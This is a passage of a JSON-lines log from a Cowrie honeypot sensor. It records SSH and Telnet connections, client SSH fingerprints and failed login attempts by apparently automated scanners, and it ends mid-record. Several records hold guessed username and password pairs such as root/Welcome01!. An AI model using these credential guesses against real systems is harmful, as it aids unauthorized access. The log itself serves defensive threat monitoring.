{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:02.423830Z","src_ip":"34.39.58.191","session":"dad48e0d1a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:02.705504Z","src_ip":"43.160.206.186","session":"43cd6896b0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome01!","message":"login attempt [root/Welcome01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:02.751687Z","src_ip":"34.39.58.191","session":"dad48e0d1a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:03.832329Z","src_ip":"34.39.58.191","session":"dad48e0d1a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23294,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad36f117839","protocol":"ssh","message":"New connection: 194.59.206.2:23294 (159.203.135.109:22) [session: 4ad36f117839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:04.402213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:04.719601Z","src_ip":"194.59.206.2","session":"4ad36f117839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:04.723589Z","src_ip":"194.59.206.2","session":"4ad36f117839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:07.667862Z","src_ip":"194.59.206.2","session":"4ad36f117839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fb3771e4ea","protocol":"ssh","message":"New connection: 159.203.92.129:33862 (159.203.135.109:22) [session: b1fb3771e4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:35.341578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:35.346585Z","src_ip":"159.203.92.129","session":"b1fb3771e4ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:35.372648Z","src_ip":"159.203.92.129","session":"b1fb3771e4ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ac","password":"123456","message":"login attempt [ac/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:35.404258Z","src_ip":"159.203.92.129","session":"b1fb3771e4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:36.412944Z","src_ip":"159.203.92.129","session":"b1fb3771e4ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51870,"dst_ip":"159.203.135.109","dst_port":22,"session":"065e5baad835","protocol":"ssh","message":"New connection: 2.57.122.238:51870 (159.203.135.109:22) [session: 065e5baad835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:43.608681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:43.613154Z","src_ip":"2.57.122.238","session":"065e5baad835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:43.717762Z","src_ip":"2.57.122.238","session":"065e5baad835","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:44.030151Z","src_ip":"2.57.122.238","session":"065e5baad835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:45.137031Z","src_ip":"2.57.122.238","session":"065e5baad835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":51702,"dst_ip":"159.203.135.109","dst_port":22,"session":"a27f3c80551d","protocol":"ssh","message":"New connection: 43.160.206.186:51702 (159.203.135.109:22) [session: a27f3c80551d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:58.667268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:58.673275Z","src_ip":"43.160.206.186","session":"a27f3c80551d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:58.919710Z","src_ip":"43.160.206.186","session":"a27f3c80551d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#qwe123qwe","message":"login attempt [root/!@#qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:59.932505Z","src_ip":"43.160.206.186","session":"a27f3c80551d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:01.181551Z","src_ip":"43.160.206.186","session":"a27f3c80551d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":38452,"dst_ip":"159.203.135.109","dst_port":22,"session":"6113a41a8962","protocol":"ssh","message":"New connection: 34.39.58.191:38452 (159.203.135.109:22) [session: 6113a41a8962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:02.328807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:02.333788Z","src_ip":"34.39.58.191","session":"6113a41a8962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:02.408660Z","src_ip":"34.39.58.191","session":"6113a41a8962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webnmobile","message":"login attempt [root/webnmobile] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:02.745139Z","src_ip":"34.39.58.191","session":"6113a41a8962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:03.822466Z","src_ip":"34.39.58.191","session":"6113a41a8962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40694,"dst_ip":"159.203.135.109","dst_port":22,"session":"20f1c506cb58","protocol":"ssh","message":"New connection: 159.203.92.129:40694 (159.203.135.109:22) [session: 20f1c506cb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:17.825098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:17.831305Z","src_ip":"159.203.92.129","session":"20f1c506cb58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:17.836112Z","src_ip":"159.203.92.129","session":"20f1c506cb58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ac","password":"ac","message":"login attempt [ac/ac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:17.864064Z","src_ip":"159.203.92.129","session":"20f1c506cb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:19.051470Z","src_ip":"159.203.92.129","session":"20f1c506cb58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132155418396,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:32.996421Z","src_ip":"89.43.134.59","session":"1f35f0ac0858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":28692,"dst_ip":"159.203.135.109","dst_port":23,"session":"833bcb14034e","protocol":"telnet","message":"New connection: 89.43.134.59:28692 (159.203.135.109:23) [session: 833bcb14034e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:33.641329Z"}
{"eventid":"cowrie.session.closed","duration":120.01320171356201,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:45.950895Z","src_ip":"89.43.134.59","session":"ca83a7290810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":49180,"dst_ip":"159.203.135.109","dst_port":23,"session":"59f68c95369c","protocol":"telnet","message":"New connection: 89.43.134.59:49180 (159.203.135.109:23) [session: 59f68c95369c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:47.008482Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":16620,"dst_ip":"159.203.135.109","dst_port":23,"session":"271209559e3d","protocol":"telnet","message":"New connection: 89.43.134.59:16620 (159.203.135.109:23) [session: 271209559e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:49.882223Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":33786,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8b12ec058a3","protocol":"ssh","message":"New connection: 34.39.58.191:33786 (159.203.135.109:22) [session: a8b12ec058a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:53.021055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:26:53.025708Z","src_ip":"34.39.58.191","session":"a8b12ec058a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 